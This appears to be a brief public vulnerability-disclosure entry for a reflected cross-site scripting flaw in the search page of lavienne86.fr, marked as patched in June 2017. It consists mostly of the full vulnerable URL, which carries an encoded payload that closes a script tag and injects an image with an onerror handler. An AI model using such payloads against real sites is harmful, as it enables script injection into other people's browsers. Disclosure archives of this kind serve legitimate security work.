lavienne86.fr XSS vulnerability

Vulnerable URL: http://www.lavienne86.fr/229-recherche.htm?searchString=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E=OK=229&229-recherche.htm%3FsearchString%3D%3C=script%3E%3Cimg+src%3Dx+onerror%3Dprompt%28 Details: Description| Value ---|--- Patched:| Yes, at 28.06.2017...